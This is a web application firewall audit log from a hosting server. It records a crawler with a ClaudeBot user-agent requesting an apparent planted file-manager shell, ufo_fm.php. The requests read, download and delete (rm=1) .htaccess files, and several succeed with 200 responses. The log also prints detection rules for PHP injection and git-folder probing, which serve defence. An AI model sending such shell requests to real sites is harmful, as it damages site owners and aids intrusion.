Message: Warning. Matched phrase "/.git/config" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/.git/config||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"]
Message: Warning. String match "/.git/" at REQUEST_URI. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "656"] [id "77318034"] [msg "IM360 WAF: Blocked access to git folder||T:APACHE||MV:/.git/config||"] [severity "NOTICE"] [tag "service_i360custom"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "/.git/config" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/.git/config||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "ns2.happydigital.co.uk"] [uri "/.git/config"] [unique_id "aqbCM-ut1GUrjaX0wO428gAAANc"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "/.git/config" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/.git/config||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"] [hostname "ns2.happydigital.co.uk"] [uri "/.git/config"] [unique_id "aqbCM-ut1GUrjaX0wO428gAAANc"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.git/" at REQUEST_URI. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "656"] [id "77318034"] [msg "IM360 WAF: Blocked access to git folder||T:APACHE||MV:/.git/config||"] [severity "NOTICE"] [tag "service_i360custom"] [hostname "ns2.happydigital.co.uk"] [uri "/.git/config"] [unique_id "aqbCM-ut1GUrjaX0wO428gAAANc"]
Stopwatch: 1789313587677935 344767 (- - -)
Stopwatch2: 1789313587677935 344767; combined=343007, p1=975, p2=341884, p3=84, p4=8, p5=56, sr=118, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--e859460f-Z--
--e3ad2329-A--
[13/Sep/2026:18:36:02.669855 +0300] aqbC4vut1GUrjaX0wO43IAAAAMo 216.73.216.41 56154 127.0.0.1 7081
--e3ad2329-B--
GET /img/.$frameSrc. HTTP/1.1
Host: www.ihelp.ro
X-Real-IP: 216.73.216.41
X-Accel-Internal: /internal-nginx-static-location
accept: */*
user-agent: Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)
accept-encoding: gzip, br, zstd, deflate
--e3ad2329-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.1.34
X-DEBUGKIT-ID: d20b654c-a584-4142-80ec-446bf93cc3c2
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
--e3ad2329-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:404"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Message: Warning. Pattern match "fff$" at UNIQUE_ID. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "548"] [id "77316842"] [msg "IM360 WAF: Performance measurement||PERF_ALL:combined=7185, p1=271, p2=6914, p3=0, p4=0, p5=0, sr=105, sw=0, l=0, gc=0||T:APACHE||"] [severity "NOTICE"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Pattern match "fff$" at UNIQUE_ID. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "548"] [id "77316842"] [msg "IM360 WAF: Performance measurement||PERF_ALL:combined=7185, p1=271, p2=6914, p3=0, p4=0, p5=0, sr=105, sw=0, l=0, gc=0||T:APACHE||"] [severity "NOTICE"] [tag "service_i360"] [tag "noshow"] [hostname "www.ihelp.ro"] [uri "/webroot/index.php"] [unique_id "aqbC4vut1GUrjaX0wO43IAAAAMo"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/ihelp.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789313762007222 662691 (- - -)
Stopwatch2: 1789313762007222 662691; combined=7662, p1=271, p2=6914, p3=0, p4=0, p5=477, sr=105, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "DETECTION_ONLY"
--e3ad2329-Z--
--197bd877-A--
[13/Sep/2026:18:36:06.717560 +0300] aqbC5vut1GUrjaX0wO43NwAAAM0 216.73.216.41 57998 127.0.0.1 7081
--197bd877-B--
GET /img/ufo_fm.php?p=%27+.+urlencode%28%24bp%29+.+%27 HTTP/1.1
Host: www.ihelp.ro
X-Real-IP: 216.73.216.41
X-Accel-Internal: /internal-nginx-static-location
accept: */*
user-agent: Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)
accept-encoding: gzip, br, zstd, deflate
--197bd877-F--
HTTP/1.1 200 OK
X-Powered-By: PHP/8.1.34
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
--197bd877-H--
Message: Warning. Pattern match "(?i)\\b(?:s(?:e(?:t(?:_(?:e(?:xception|rror)_handler|magic_quotes_runtime|include_path)|defaultstub)|ssion_s(?:et_save_handler|tart))|qlite_(?:(?:(?:unbuffered|single|array)_)?query|create_(?:aggregate|function)|p?open|exec)|tr(?:eam_(?:context_create| ..." at ARGS:p. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "63"] [id "77134464"] [msg "IM360 WAF: Infectors: PHP Injection High-Risk PHP Function||T:APACHE||MVN:ARGS:p||MV:' . urlencode($bp) . '||SC:/var/www/vhosts/ihelp.ro/httpdocs/img"] [severity "DEBUG"] [tag "service_o"] [tag "service_i360"]
Message: Warning. Pattern match "(?i)\\b(?:s(?:e(?:t(?:_(?:e(?:xception|rror)_handler|magic_quotes_runtime|include_path)|defaultstub)|ssion_s(?:et_save_handler|tart))|qlite_(?:(?:(?:unbuffered|single|array)_)?query|create_(?:aggregate|function)|p?open|exec)|tr(?:eam_(?:context_create| ..." at ARGS:p. [file "/etc/httpd/conf/modsecurity.d/rules/custom/012_i360_1_generic.conf"] [line "19"] [id "77134463"] [msg "IM360 WAF: PHP Injection Attack: High-Risk PHP Function Call Found||T:APACHE||MVN:ARGS:p||MV:' . urlencode($bp) . '||SC:/var/www/vhosts/ihelp.ro/httpdocs/img"] [severity "NOTICE"] [tag "service_o"] [tag "service_i360"] [tag "noshow"] [tag "service_rbl_infectors"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Pattern match "(?i)\\\\\\\\b(?:s(?:e(?:t(?:_(?:e(?:xception|rror)_handler|magic_quotes_runtime|include_path)|defaultstub)|ssion_s(?:et_save_handler|tart))|qlite_(?:(?:(?:unbuffered|single|array)_)?query|create_(?:aggregate|function)|p?open|exec)|tr(?:eam_(?:context_create| ..." at ARGS:p. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "63"] [id "77134464"] [msg "IM360 WAF: Infectors: PHP Injection High-Risk PHP Function||T:APACHE||MVN:ARGS:p||MV:' . urlencode($bp) . '||SC:/var/www/vhosts/ihelp.ro/httpdocs/img"] [severity "DEBUG"] [tag "service_o"] [tag "service_i360"] [hostname "www.ihelp.ro"] [uri "/img/ufo_fm.php"] [unique_id "aqbC5vut1GUrjaX0wO43NwAAAM0"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Pattern match "(?i)\\\\\\\\b(?:s(?:e(?:t(?:_(?:e(?:xception|rror)_handler|magic_quotes_runtime|include_path)|defaultstub)|ssion_s(?:et_save_handler|tart))|qlite_(?:(?:(?:unbuffered|single|array)_)?query|create_(?:aggregate|function)|p?open|exec)|tr(?:eam_(?:context_create| ..." at ARGS:p. [file "/etc/httpd/conf/modsecurity.d/rules/custom/012_i360_1_generic.conf"] [line "19"] [id "77134463"] [msg "IM360 WAF: PHP Injection Attack: High-Risk PHP Function Call Found||T:APACHE||MVN:ARGS:p||MV:' . urlencode($bp) . '||SC:/var/www/vhosts/ihelp.ro/httpdocs/img"] [severity "NOTICE"] [tag "service_o"] [tag "service_i360"] [tag "noshow"] [tag "service_rbl_infectors"] [hostname "www.ihelp.ro"] [uri "/img/ufo_fm.php"] [unique_id "aqbC5vut1GUrjaX0wO43NwAAAM0"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/ihelp.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789313766679381 38383 (- - -)
Stopwatch2: 1789313766679381 38383; combined=34287, p1=260, p2=33914, p3=0, p4=0, p5=112, sr=101, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "DETECTION_ONLY"
--197bd877-Z--
--52cb0532-A--
[13/Sep/2026:18:36:16.904340 +0300] aqbC8EhjHs68UzErry1KiQAAAII 216.73.216.41 47208 127.0.0.1 7081
--52cb0532-B--
GET /img/ufo_fm.php?f=%2Fvar%2Fwww%2Fvhosts%2Fihelp.ro%2Fhttpdocs%2F.htaccess&p=%2Fvar%2Fwww%2Fvhosts%2Fihelp.ro%2Fhttpdocs HTTP/1.1
Host: www.ihelp.ro
X-Real-IP: 216.73.216.41
X-Accel-Internal: /internal-nginx-static-location
accept: */*
user-agent: Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)
accept-encoding: gzip, br, zstd, deflate
--52cb0532-F--
HTTP/1.1 200 OK
X-Powered-By: PHP/8.1.34
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
--52cb0532-H--
Message: Warning. Match of "pm cpanel AdminTranslations" against "REQUEST_URI" required. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "65"] [id "77140882"] [msg "IM360 WAF: Infectors: Remote File Access Attempt||MVN:REQUEST_URI||MV:/img/ufo_fm.php?f=%2Fvar%2Fwww%2Fvhosts%2Fihelp.ro%2Fhttpdocs%2F.htaccess&p=%2Fvar%2Fwww%2Fvhosts%2Fihelp.ro%2Fhttpdocs||T:APACHE||SC:/var/www/vhosts/ihelp.ro/httpdocs/img"] [severity "DEBUG"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Match of "pm cpanel AdminTranslations" against "REQUEST_URI" required. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "65"] [id "77140882"] [msg "IM360 WAF: Infectors: Remote File Access Attempt||MVN:REQUEST_URI||MV:/img/ufo_fm.php?f=%2Fvar%2Fwww%2Fvhosts%2Fihelp.ro%2Fhttpdocs%2F.htaccess&p=%2Fvar%2Fwww%2Fvhosts%2Fihelp.ro%2Fhttpdocs||T:APACHE||SC:/var/www/vhosts/ihelp.ro/httpdocs/img"] [severity "DEBUG"] [hostname "www.ihelp.ro"] [uri "/img/ufo_fm.php"] [unique_id "aqbC8EhjHs68UzErry1KiQAAAII"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/ihelp.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789313776862105 42291 (- - -)
Stopwatch2: 1789313776862105 42291; combined=36971, p1=234, p2=36665, p3=0, p4=0, p5=71, sr=107, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "DETECTION_ONLY"
--52cb0532-Z--
--4e08e17c-A--
[13/Sep/2026:18:36:37.391070 +0300] aqbDBUhjHs68UzErry1KiwAAAIw 216.73.216.41 55622 127.0.0.1 7081
--4e08e17c-B--
GET /img/ufo_fm.php?p=%27.urlencode%28%24acc%29.%27 HTTP/1.1
Host: www.ihelp.ro
X-Real-IP: 216.73.216.41
X-Accel-Internal: /internal-nginx-static-location
accept: */*
user-agent: Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)
accept-encoding: gzip, br, zstd, deflate
--4e08e17c-F--
HTTP/1.1 200 OK
X-Powered-By: PHP/8.1.34
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
--4e08e17c-H--
Message: Warning. Pattern match "(?i)\\b(?:s(?:e(?:t(?:_(?:e(?:xception|rror)_handler|magic_quotes_runtime|include_path)|defaultstub)|ssion_s(?:et_save_handler|tart))|qlite_(?:(?:(?:unbuffered|single|array)_)?query|create_(?:aggregate|function)|p?open|exec)|tr(?:eam_(?:context_create| ..." at ARGS:p. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "63"] [id "77134464"] [msg "IM360 WAF: Infectors: PHP Injection High-Risk PHP Function||T:APACHE||MVN:ARGS:p||MV:'.urlencode($acc).'||SC:/var/www/vhosts/ihelp.ro/httpdocs/img"] [severity "DEBUG"] [tag "service_o"] [tag "service_i360"]
Message: Warning. Pattern match "(?i)\\b(?:s(?:e(?:t(?:_(?:e(?:xception|rror)_handler|magic_quotes_runtime|include_path)|defaultstub)|ssion_s(?:et_save_handler|tart))|qlite_(?:(?:(?:unbuffered|single|array)_)?query|create_(?:aggregate|function)|p?open|exec)|tr(?:eam_(?:context_create| ..." at ARGS:p. [file "/etc/httpd/conf/modsecurity.d/rules/custom/012_i360_1_generic.conf"] [line "19"] [id "77134463"] [msg "IM360 WAF: PHP Injection Attack: High-Risk PHP Function Call Found||T:APACHE||MVN:ARGS:p||MV:'.urlencode($acc).'||SC:/var/www/vhosts/ihelp.ro/httpdocs/img"] [severity "NOTICE"] [tag "service_o"] [tag "service_i360"] [tag "noshow"] [tag "service_rbl_infectors"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Pattern match "(?i)\\\\\\\\b(?:s(?:e(?:t(?:_(?:e(?:xception|rror)_handler|magic_quotes_runtime|include_path)|defaultstub)|ssion_s(?:et_save_handler|tart))|qlite_(?:(?:(?:unbuffered|single|array)_)?query|create_(?:aggregate|function)|p?open|exec)|tr(?:eam_(?:context_create| ..." at ARGS:p. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "63"] [id "77134464"] [msg "IM360 WAF: Infectors: PHP Injection High-Risk PHP Function||T:APACHE||MVN:ARGS:p||MV:'.urlencode($acc).'||SC:/var/www/vhosts/ihelp.ro/httpdocs/img"] [severity "DEBUG"] [tag "service_o"] [tag "service_i360"] [hostname "www.ihelp.ro"] [uri "/img/ufo_fm.php"] [unique_id "aqbDBUhjHs68UzErry1KiwAAAIw"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Pattern match "(?i)\\\\\\\\b(?:s(?:e(?:t(?:_(?:e(?:xception|rror)_handler|magic_quotes_runtime|include_path)|defaultstub)|ssion_s(?:et_save_handler|tart))|qlite_(?:(?:(?:unbuffered|single|array)_)?query|create_(?:aggregate|function)|p?open|exec)|tr(?:eam_(?:context_create| ..." at ARGS:p. [file "/etc/httpd/conf/modsecurity.d/rules/custom/012_i360_1_generic.conf"] [line "19"] [id "77134463"] [msg "IM360 WAF: PHP Injection Attack: High-Risk PHP Function Call Found||T:APACHE||MVN:ARGS:p||MV:'.urlencode($acc).'||SC:/var/www/vhosts/ihelp.ro/httpdocs/img"] [severity "NOTICE"] [tag "service_o"] [tag "service_i360"] [tag "noshow"] [tag "service_rbl_infectors"] [hostname "www.ihelp.ro"] [uri "/img/ufo_fm.php"] [unique_id "aqbDBUhjHs68UzErry1KiwAAAIw"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/ihelp.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789313797341406 49731 (- - -)
Stopwatch2: 1789313797341406 49731; combined=37599, p1=245, p2=37262, p3=0, p4=0, p5=91, sr=90, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "DETECTION_ONLY"
--4e08e17c-Z--
--909ab133-A--
[13/Sep/2026:18:36:55.448747 +0300] aqbDF-ut1GUrjaX0wO43ewAAANA 216.73.216.41 39392 127.0.0.1 7081
--909ab133-B--
GET /img/ufo_fm.php?f=%2Fvar%2Fwww%2Fvhosts%2Fihelp.ro%2Fhttpdocs%2F.htaccess&p=%2Fvar%2Fwww%2Fvhosts%2Fihelp.ro%2Fhttpdocs&rm=1 HTTP/1.1
Host: www.ihelp.ro
X-Real-IP: 216.73.216.41
X-Accel-Internal: /internal-nginx-static-location
accept: */*
user-agent: Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)
accept-encoding: gzip, br, zstd, deflate
--909ab133-F--
HTTP/1.1 200 OK
X-Powered-By: PHP/8.1.34
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
--909ab133-H--
Message: Warning. Match of "pm cpanel AdminTranslations" against "REQUEST_URI" required. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "65"] [id "77140882"] [msg "IM360 WAF: Infectors: Remote File Access Attempt||MVN:REQUEST_URI||MV:/img/ufo_fm.php?f=%2Fvar%2Fwww%2Fvhosts%2Fihelp.ro%2Fhttpdocs%2F.htaccess&p=%2Fvar%2Fwww%2Fvhosts%2Fihelp.ro%2Fhttpdocs&rm=1||T:APACHE||SC:/var/www/vhosts/ihelp.ro/httpdocs/img"] [severity "DEBUG"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Match of "pm cpanel AdminTranslations" against "REQUEST_URI" required. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "65"] [id "77140882"] [msg "IM360 WAF: Infectors: Remote File Access Attempt||MVN:REQUEST_URI||MV:/img/ufo_fm.php?f=%2Fvar%2Fwww%2Fvhosts%2Fihelp.ro%2Fhttpdocs%2F.htaccess&p=%2Fvar%2Fwww%2Fvhosts%2Fihelp.ro%2Fhttpdocs&rm=1||T:APACHE||SC:/var/www/vhosts/ihelp.ro/httpdocs/img"] [severity "DEBUG"] [hostname "www.ihelp.ro"] [uri "/img/ufo_fm.php"] [unique_id "aqbDF-ut1GUrjaX0wO43ewAAANA"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/ihelp.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789313815413233 35561 (- - -)
Stopwatch2: 1789313815413233 35561; combined=32810, p1=240, p2=32523, p3=0, p4=0, p5=46, sr=107, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "DETECTION_ONLY"
--909ab133-Z--
--7fa74b12-A--
[13/Sep/2026:18:37:05.709144 +0300] aqbDIfut1GUrjaX0wO43kgAAAMA 216.73.216.41 37704 127.0.0.1 7081
--7fa74b12-B--
GET /img/ufo_fm.php?dl=1&f=%2Fvar%2Fwww%2Fvhosts%2Fihelp.ro%2Fhttpdocs%2F.htaccess&p=%2Fvar%2Fwww%2Fvhosts%2Fihelp.ro%2Fhttpdocs HTTP/1.1
Host: www.ihelp.ro
X-Real-IP: 216.73.216.41
X-Accel-Internal: /internal-nginx-static-location
accept: */*
user-agent: Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)
accept-encoding: gzip, br, zstd, deflate
--7fa74b12-F--
HTTP/1.1 200 OK
X-Powered-By: PHP/8.1.34
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
--7fa74b12-H--
Message: Warning. Match of "pm cpanel AdminTranslations" against "REQUEST_URI" required. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "65"] [id "77140882"] [msg "IM360 WAF: Infectors: Remote File Access Attempt||MVN:REQUEST_URI||MV:/img/ufo_fm.php?dl=1&f=%2Fvar%2Fwww%2Fvhosts%2Fihelp.ro%2Fhttpdocs%2F.htaccess&p=%2Fvar%2Fwww%2Fvhosts%2Fihelp.ro%2Fhttpdocs||T:APACHE||SC:/var/www/vhosts/ihelp.ro/httpdocs/img"] [severity "DEBUG"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Match of "pm cpanel AdminTranslations" against "REQUEST_URI" required. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "65"] [id "77140882"] [msg "IM360 WAF: Infectors: Remote File Access Attempt||MVN:REQUEST_URI||MV:/img/ufo_fm.php?dl=1&f=%2Fvar%2Fwww%2Fvhosts%2Fihelp.ro%2Fhttpdocs%2F.htaccess&p=%2Fvar%2Fwww%2Fvhosts%2Fihelp.ro%2Fhttpdocs||T:APACHE||SC:/var/www/vhosts/ihelp.ro/httpdocs/img"] [severity "DEBUG"] [hostname "www.ihelp.ro"] [uri "/img/ufo_fm.php"] [unique_id "aqbDIfut1GUrjaX0wO43kgAAAMA"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/ihelp.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789313825670051 39141 (- - -)
Stopwatch2: 1789313825670051 39141; combined=34615, p1=221, p2=34344, p3=0, p4=0, p5=50, sr=108, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "DETECTION_ONLY"
--7fa74b12-Z--
--5caaea05-A--
[13/Sep/2026:18:37:25.736158 +0300] aqbDNUhjHs68UzErry1KmAAAAI8 216.73.216.41 54378 127.0.0.1 7081
--5caaea05-B--
GET /img/ufo_fm.php?f=%2Fvar%2Fwww%2Fvhosts%2Fihelp.ro%2Fhttpdocs%2Fwebroot%2F.htaccess&p=%2Fvar%2Fwww%2Fvhosts%2Fihelp.ro%2Fhttpdocs%2Fwebroot HTTP/1.1
Host: www.ihelp.ro
X-Real-IP: 216.73.216.41
X-Accel-Internal: /internal-nginx-static-location
accept: */*
user-agent: Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)
accept-encoding: gzip, br, zstd, deflate
--5caaea05-F--
HTTP/1.1 200 OK
X-Powered-By: PHP/8.1.34
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
--5caaea05-H--
Message: Warning. Match of "pm cpanel AdminTranslations" against "REQUEST_URI" required. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "65"] [id "77140882"] [msg "IM360 WAF: Infectors: Remote File Access Attempt||MVN:REQUEST_URI||MV:/img/ufo_fm.php?f=%2Fvar%2Fwww%2Fvhosts%2Fihelp.ro%2Fhttpdocs%2Fwebroot%2F.htaccess&p=%2Fvar%2Fwww%2Fvhosts%2Fihelp.ro%2Fhttpdocs%2Fwebroot||T:APACHE||SC:/var/www/vhosts/ihelp.ro/httpdocs/img"] [severity "DEBUG"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Match of "pm cpanel AdminTranslations" against "REQUEST_URI" required. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "65"] [id "77140882"] [msg "IM360 WAF: Infectors: Remote File Access Attempt||MVN:REQUEST_URI||MV:/img/ufo_fm.php?f=%2Fvar%2Fwww%2Fvhosts%2Fihelp.ro%2Fhttpdocs%2Fwebroot%2F.htaccess&p=%2Fvar%2Fwww%2Fvhosts%2Fihelp.ro%2Fhttpdocs%2Fwebroot||T:APACHE||SC:/var/www/vhosts/ihelp.ro/httpdocs/img"] [severity "DEBUG"] [hostname "www.ihelp.ro"] [uri "/img/ufo_fm.php"] [unique_id "aqbDNUhjHs68UzErry1KmAAAAI8"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/ihelp.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789313845700076 36162 (- - -)
Stopwatch2: 1789313845700076 36162; combined=33618, p1=265, p2=33304, p3=0, p4=0, p5=49, sr=146, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "DETECTION_ONLY"
--5caaea05-Z--
--e217a852-A--
[13/Sep/2026:18:38:11.889041 +0300] aqbDY-ut1GUrjaX0wO43zgAAAM0 216.73.216.41 50470 127.0.0.1 7081
--e217a852-B--
GET /img/ufo_fm.php?f=%2Fvar%2Fwww%2Fvhosts%2Fihelp.ro%2Fhttpdocs%2Fwebroot%2F.htaccess&p=%2Fvar%2Fwww%2Fvhosts%2Fihelp.ro%2Fhttpdocs%2Fwebroot&rm=1 HTTP/1.1
Host: www.ihelp.ro
X-Real-IP: 216.73.216.41
X-Accel-Internal: /internal-nginx-static-location
accept: */*
user-agent: Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)
accept-encoding: gzip, br, zstd, deflate
--e217a852-F--
HTTP/1.1 200 OK
X-Powered-By: PHP/8.1.34
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
--e217a852-H--
Message: Warning. Match of "pm cpanel AdminTranslations" against "REQUEST_URI" required. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "65"] [id "77140882"] [msg "IM360 WAF: Infectors: Remote File Access Attempt||MVN:REQUEST_URI||MV:/img/ufo_fm.php?f=%2Fvar%2Fwww%2Fvhosts%2Fihelp.ro%2Fhttpdocs%2Fwebroot%2F.htaccess&p=%2Fvar%2Fwww%2Fvhosts%2Fihelp.ro%2Fhttpdocs%2Fwebroot&rm=1||T:APACHE||SC:/var/www/vhosts/ihelp.ro/httpdocs/img"] [severity "DEBUG"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Match of "pm cpanel AdminTranslations" against "REQUEST_URI" required. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "65"] [id "77140882"] [msg "IM360 WAF: Infectors: Remote File Access Attempt||MVN:REQUEST_URI||MV:/img/ufo_fm.php?f=%2Fvar%2Fwww%2Fvhosts%2Fihelp.ro%2Fhttpdocs%2Fwebroot%2F.htaccess&p=%2Fvar%2Fwww%2Fvhosts%2Fihelp.ro%2Fhttpdocs%2Fwebroot&rm=1||T:APACHE||SC:/var/www/vhosts/ihelp.ro/httpdocs/img"] [severity "DEBUG"] [hostname "www.ihelp.ro"] [uri "/img/ufo_fm.php"] [unique_id "aqbDY-ut1GUrjaX0wO43zgAAAM0"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/ihelp.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789313891850227 38870 (- - -)
Stopwatch2: 1789313891850227 38870; combined=35395, p1=356, p2=34972, p3=0, p4=0, p5=66, sr=140, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "DETECTION_ONLY"
--e217a852-Z--
--d9456500-A--
[13/Sep/2026:18:38:12.744317 +0300] aqbDZPut1GUrjaX0wO431gAAAMg 216.73.216.41 50596 127.0.0.1 7081
--d9456500-B--
GET /img/ufo_fm.php?dl=1&f=%2Fvar%2Fwww%2Fvhosts%2Fihelp.ro%2Fhttpdocs%2Fwebroot%2F.htaccess&p=%2Fvar%2Fwww%2Fvhosts%2Fihelp.ro%2Fhttpdocs%2Fwebroot HTTP/1.1
Host: www.ihelp.ro
X-Real-IP: 216.73.216.41
X-Accel-Internal: /internal-nginx-static-location
accept: */*
user-agent: Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)
accept-encoding: gzip, br, zstd, deflate
--d9456500-F--
HTTP/1.1 200 OK
X-Powered-By: PHP/8.1.34
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
--d9456500-H--
Message: Warning. Match of "pm cpanel AdminTranslations" against "REQUEST_URI" required. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "65"] [id "77140882"] [msg "IM360 WAF: Infectors: Remote File Access Attempt||MVN:REQUEST_URI||MV:/img/ufo_fm.php?dl=1&f=%2Fvar%2Fwww%2Fvhosts%2Fihelp.ro%2Fhttpdocs%2Fwebroot%2F.htaccess&p=%2Fvar%2Fwww%2Fvhosts%2Fihelp.ro%2Fhttpdocs%2Fwebroot||T:APACHE||SC:/var/www/vhosts/ihelp.ro/httpdocs/img"] [severity "DEBUG"]
